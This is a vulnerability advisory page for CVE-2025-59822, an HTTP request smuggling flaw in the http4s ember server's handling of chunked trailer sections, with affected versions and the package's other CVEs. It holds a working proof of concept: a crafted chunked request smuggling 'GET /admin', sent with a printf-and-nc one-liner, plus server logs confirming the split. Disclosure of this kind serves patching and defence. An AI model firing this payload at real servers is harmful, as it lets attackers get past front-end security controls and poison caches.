Medium

Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section

  • Disclosed: 23.09.2025
  • Updated: 11.10.2026 12:22

Summary

http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to:

  • Bypass front-end servers security controls
  • Launch targeted attacks against active users
  • Poison web caches

Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.

Details

The HTTP chunked message parser, after parsing the last body chunk, calls parseTrailers (ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142). This method parses the trailer section using Parser.parse, where the issue originates.

parse has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with state=false looking for the header name till reaching the condition else if (current == lf && (idx > 0 && message(idx - 1) == cr)) that sets complete=true even if no \r\n\r\n is found.

scala
if (current == colon) {
  state = true // set state to check for header value
  name = new String(message, start, idx - start) // extract name string
  start = idx + 1 // advance past colon for next start

  // TODO: This if clause may not be necessary since the header value parser trims
  if (message.size > idx + 1 && message(idx + 1) == space) {
    start += 1 // if colon is followed by space advance again
    idx += 1 // double advance index here to skip the space
  }
  // double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check
  complete = true // completed terminate loop
}

The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.

PoC

Start a simple webserver that echoes the received requests:

scala
import cats.effect._
import cats.implicits._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.ember.server.EmberServerBuilder
import org.http4s.server.Router
import org.http4s.server.middleware.RequestLogger
import org.typelevel.log4cats.LoggerFactory
import org.typelevel.log4cats.slf4j.Slf4jFactory
import com.comcast.ip4s._

object ExploitServer extends IOApp {

  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]

  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {
    case req @ _ =>
      for {
        bodyStr <- req.bodyText.compile.string
        method = req.method.name
        uri = req.uri.toString()
        version = req.httpVersion.toString
        headers = req.headers.headers.map { header =>
          s"${header.name.toString.toLowerCase}: ${header.value}"
        }.mkString("\n")
        
        responseText = s"""$method $uri $version
$headers

$bodyStr

"""
        result <- Ok(responseText)
      } yield result
  }

  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(
    Router("/" -> echoService).orNotFound
  )

  override def run(args: List[String]): IO[ExitCode] = {
    EmberServerBuilder
      .default[IO]
      .withHost(ipv4"0.0.0.0")
      .withPort(port"8080")
      .withHttpApp(httpApp)
      .build
      .use { server =>
        IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
      }
      .as(ExitCode.Success)
  }
}

build.sbt

ThisBuild / scalaVersion := "2.13.15"

val http4sVersion = "0.23.30"

lazy val root = (project in file("."))
  .settings(
    name := "http4s-echo-server",
    libraryDependencies ++= Seq(
      "org.http4s" %% "http4s-ember-server" % http4sVersion,
      "org.http4s" %% "http4s-dsl" % http4sVersion,
      "org.http4s" %% "http4s-circe" % http4sVersion,
      "ch.qos.logback" % "logback-classic" % "1.4.11",
      "org.typelevel" %% "log4cats-slf4j" % "2.6.0",
    )
  )

Send the following request:

http
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost

You can do that with the following command: printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080

You will see that the request is interpreted as two separate requests

16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.http4s:http4s-ember-core_2.12 < 0.23.31 0.23.31
Java / Kotlin (Maven) org.http4s:http4s-ember-core_2.13 < 0.23.31, >= 1.0.0-M1, < 1.0.0-M45 0.23.31, 1.0.0-M45
Java / Kotlin (Maven) org.http4s:http4s-ember-core_3 < 0.23.31, >= 1.0.0-M1, < 1.0.0-M45 0.23.31, 1.0.0-M45

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-444
Platform
Java / Kotlin (Maven)
Package
org.http4s:http4s-ember-core_2.12, org.http4s:http4s-ember-core_2.13, org.http4s:http4s-ember-core_3
Disclosed
23.09.2025
Updated
11.10.2026 12:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wcwh-7gfw-5wrr - CC BY 4.0

Vulnerability history: org.http4s:http4s-ember-core_3

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (11) in the archive
Total entries
11
First → latest
09.2025 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 7
  • Medium 3

Disclosures per year

  1. 2025: 1
  2. 2026: 10
Severity:
  1. High · 7.5 CVE-2026-88975 < 0.23.37, >= 1.0.0-M1, < 1.0.0-M48 0.23.37, 1.0.0-M48
  2. High · 7.5 CVE-2026-69218 < 0.23.35, >= 1.0.0-M1, < 1.0.0-M47 0.23.35, 1.0.0-M47
  3. High · 7.5 CVE-2026-69213 < 0.23.35, >= 1.0.0-M1, < 1.0.0-M47 0.23.35, 1.0.0-M47
  4. High · 8.7 CVE-2026-69205 < 0.23.35, >= 1.0.0-M1, < 1.0.0-M47 0.23.35, 1.0.0-M47
  5. Critical CVE-2026-69204 < 0.23.35, >= 1.0.0-M1, < 1.0.0-M47 0.23.35, 1.0.0-M47
  6. High · 7.5 CVE-2026-69203 < 0.23.35, >= 1.0.0-M1, < 1.0.0-M47 0.23.35, 1.0.0-M47
  7. High · 7.5 CVE-2026-69202 < 0.23.35, >= 1.0.0-M1, < 1.0.0-M47 0.23.35, 1.0.0-M47
  8. High CVE-2026-54556 < 0.23.35, >= 1.0.0-M1, < 1.0.0-M47 0.23.35, 1.0.0-M47
  9. Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section this entry
    Medium CVE-2025-59822 < 0.23.31, >= 1.0.0-M1, < 1.0.0-M45 0.23.31, 1.0.0-M45

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